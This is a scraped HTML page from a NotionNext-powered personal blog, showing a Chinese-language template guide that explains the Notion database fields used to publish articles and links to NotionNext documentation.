dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">模板说明</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-4fae0653be7f4e1091de344f6c6d0a6b"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-9c34447939c143e682dbda1e457673b8" data-id="9c34447939c143e682dbda1e457673b8"><span><div id="9c34447939c143e682dbda1e457673b8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#9c34447939c143e682dbda1e457673b8" title="如何使用Notion编写文章"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">如何使用Notion编写文章</span></span></h2><div class="notion-text notion-block-dfbfc2433c104fa69afeb7ea8e16c791">请访问教程获取帮助</div><div class="notion-row"><a target="_blank" rel="noopener noreferrer" class="notion-bookmark notion-block-910695611f89408eba3987eb119ef85a" href="https://docs.tangly1024.com/article/start-to-write"><div><div class="notion-bookmark-title">如何在Notion中开始写作 | NotionNext文档</div><div class="notion-bookmark-description">这是一个由NotionNext生成的站点</div><div class="notion-bookmark-link"><div class="notion-bookmark-link-icon"><img src="https://docs.tangly1024.com/favicon.ico?t=91069561-1f89-408e-ba39-87eb119ef85a" alt="如何在Notion中开始写作 | NotionNext文档" loading="lazy" decoding="async"/></div><div class="notion-bookmark-link-text">https://docs.tangly1024.com/article/start-to-write</div></div></div></a></div><div class="notion-row"><a target="_blank" rel="noopener noreferrer" class="notion-bookmark notion-block-a0bcfc3003ad485c82744dd1011c4373" href="https://docs.tangly1024.com/article/notion-short-key"><div><div class="notion-bookmark-title">Notion快捷键 | NotionNext文档</div><div class="notion-bookmark-description">Notion有很多使用的快捷键,看完这篇文章,让你的效率加倍</div><div class="notion-bookmark-link"><div class="notion-bookmark-link-icon"><img src="https://docs.tangly1024.com/favicon.ico?t=a0bcfc30-03ad-485c-8274-4dd1011c4373" alt="Notion快捷键 | NotionNext文档" loading="lazy" decoding="async"/></div><div class="notion-bookmark-link-text">https://docs.tangly1024.com/article/notion-short-key</div></div></div><div class="notion-bookmark-image"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fwww.notion.so%2Fimage%2Fhttps%253A%252F%252Fs3-us-west-2.amazonaws.com%252Fsecure.notion-static.com%252Fd4851275-5ab5-4aaa-bc51-77c73ad658c4%252Fe8ed862f23227112ab999a90757a3bf8.jpg%3Ftable%3Dblock%26id%3Da88d5688-b66a-4baf-a8e8-f769bb210954%26width%3D800?table=block&amp;id=a0bcfc30-03ad-485c-8274-4dd1011c4373&amp;t=a0bcfc30-03ad-485c-8274-4dd1011c4373" alt="Notion快捷键 | NotionNext文档" loading="lazy" decoding="async"/></div></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-35153d8359d14af9b98653aa8573709e" data-id="35153d8359d14af9b98653aa8573709e"><span><div id="35153d8359d14af9b98653aa8573709e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#35153d8359d14af9b98653aa8573709e" title="模板使用说明"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">模板使用说明</span></span></h2><div class="notion-text notion-block-4db6ff229486468a8f4e651a0973869c">NotionNext项目必须绑定一个Notion数据库才能使用。请访问教程获取帮助</div><div class="notion-row"><a target="_blank" rel="noopener noreferrer" class="notion-bookmark notion-block-3dbdf851118a40f3a713d6477e7a71a9" href="https://docs.tangly1024.com/article/vercel-deploy-notion-next#3df829414795492bb41ec351eb6da84e"><div><div class="notion-bookmark-title">Vercel云部署 | NotionNext文档</div><div class="notion-bookmark-description">Vercel是一款国外的Serverless托管平台,对个人用户使用几乎免费,而且方便快捷,用Vercel托管你的Notion站点,无需再操心服务器的维护与资费问题。</div><div class="notion-bookmark-link"><div class="notion-bookmark-link-icon"><img src="https://docs.tangly1024.com/favicon.ico?t=3dbdf851-118a-40f3-a713-d6477e7a71a9" alt="Vercel云部署 | NotionNext文档" loading="lazy" decoding="async"/></div><div class="notion-bookmark-link-text">https://docs.tangly1024.com/article/vercel-deploy-notion-next#3df829414795492bb41ec351eb6da84e</div></div></div><div class="notion-bookmark-image"><img style="object-fit:cover" src="https://images.unsplash.com/photo-1642083139428-9ee5fa423c46?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=tinysrgb&amp;width=800&amp;fmt=webp&amp;t=3dbdf851-118a-40f3-a713-d6477e7a71a9" alt="Vercel云部署 | NotionNext文档" loading="lazy" decoding="async"/></div></a></div><div class="notion-sync-block notion-block-2083ca79572d4541a5c957585bd5c43e"><h3 class="notion-h notion-h2 notion-block-66421ace22bf48c7ad2902813c60ca86" data-id="66421ace22bf48c7ad2902813c60ca86"><span><div id="66421ace22bf48c7ad2902813c60ca86" class="notion-header-anchor"></div><a class="notion-hash-link" href="#66421ace22bf48c7ad2902813c60ca86" title="Notion模板字段说明"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Notion模板字段说明</span></span></h3><div class="notion-text notion-block-31b03937440c4d3c9e1df7e574980c46">Notion数据库中,每条数据都将有以下属性🤔:</div><table class="notion-simple-table notion-block-b02f9c8381f143bd96283e7bebd5f788"><tbody><tr class="notion-simple-table-row notion-block-51461f6d918343ceabb88a36cbf70224"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell">属性</div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">必填</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">说明</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">备注</div></td></tr><tr class="notion-simple-table-row notion-block-f3b536924b374a1fbd378fed90eab370"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">title</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell"> 是</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell"> 文章标题</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">ㅤ</div></td></tr><tr class="notion-simple-table-row notion-block-6183f85b4bca488681246225c80922a6"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">status</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">是</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">发布状态</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">(仅当状态为<code class="notion-inline-code">Published</code> 时会被 展示)</div></td></tr><tr class="notion-simple-table-row notion-block-dd776aeb77704ce0bd084a1a747c1e42"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">type</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">是</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">页面类型 (博文<code class="notion-inline-code">Post</code> / 单页(<code class="notion-inline-code">Page</code>)</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">单页不会在博文列表显示 。</div></td></tr><tr class="notion-simple-table-row notion-block-b08e203292c2494da65f10865bae9cfa"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">summary</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">内容摘要</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">搜索和简略显示会用到</div></td></tr><tr class="notion-simple-table-row notion-block-0a03579c603b4921a96c582da1d0e6a4"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">date</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">发布日期</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">在V3.3.9之前的版本此项为必填。</div></td></tr><tr class="notion-simple-table-row notion-block-0c2f381271c44d90a96b0f02b10442eb"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">category</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">文章分类</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">可以自定义</div></td></tr><tr class="notion-simple-table-row notion-block-9183be4f9a554940812fe50275f88d5d"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">tags</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">文章标签</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">可多个,建议不要太多</div></td></tr><tr class="notion-simple-table-row notion-block-ba90c4d05bca43eb82db749dd4f2958a"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">slug</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">文章短路径</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell"> (每篇文章唯一,请勿 重复)</div></td></tr><tr class="notion-simple-table-row notion-block-6e433da23abf4b138e88a743d5966975"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">icon</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell">否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell">菜单栏图标(仅当<code class="notion-inline-code">Page</code>/<code class="notion-inline-code">Menu</code>类型有效)</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell">可以参考:<a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://fontawesome.com/v6/search">图标库地址</a></div></td></tr><tr class="notion-simple-table-row notion-block-553d4bf0c75445d898daa76da2d494bc"><td class="" style="width:116.99479675292969px"><div class="notion-simple-table-cell"><code class="notion-inline-code">password</code></div></td><td class="" style="width:46.989585876464844px"><div class="notion-simple-table-cell"> 否</div></td><td class="" style="width:239.00001525878906px"><div class="notion-simple-table-cell"> 文章加锁</div></td><td class="" style="width:315.66668701171875px"><div class="notion-simple-table-cell"> 需要输入密码才允许访问</div></td></tr></tbody></table><div class="notion-blank notion-block-04b2e24c26684730a40a20a95985573b"> </div></div></main></div><div class="m-1 overflow-x-auto"><div class="flex w-full md:justify-end"></div></div><div class="flex justify-between"><div></div></div><section class="text-gray-800 dark:text-gray-400 h-12 flex items-center justify-between space-x-5 my-4"><a class="text-sm cursor-pointer justify-start items-center flex hover:underline duration-300" href="/article/example"><i class="mr-1 fas fa-angle-double-left"></i>示例文章</a><a class="text-sm cursor-pointer justify-end items-center flex hover:underline duration-300" href="/article/240325-ollama">mac体验ollama本地大模型<i class="ml-1 my-1 fas fa-angle-double-right"></i></a></section><div id="comment" class="comment mt-5 text-gray-800 dark:text-gray-300 "></div></section><div id="gitbook-toc-float" class="fixed top-0 right-0 z-40 md:hidden"><div class=" -mr-72 animate__slideOutRight overflow-y-hidden shadow-card w-60 duration-200 fixed right-1 bottom-16 rounded py-2 bg-white dark:bg-hexo-black-gray"><div class="dark:text-gray-400 text-gray-600 h-96 p-3"></div></div></div><div id="right-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="pt-10 pb-6 text-gray-400 text-sm border-b"><i class="fa-regular fa-clock mr-1"></i>Last update:  <!-- -->2021-07-02</div><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>模板说明 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="文字,推荐"/><meta name="description" content="&lt;- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="模板说明 | Both Savage"/><meta property="og:description" content="&lt;- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。"/><meta property="og:url" content="https://bothsavage.github.io//article/guide"/><meta property="og:image" content="https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=4fae0653-be7f-4e10-91de-344f6c6d0a6b&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="&lt;- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。"/><meta name="twitter:title" content="模板说明 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" 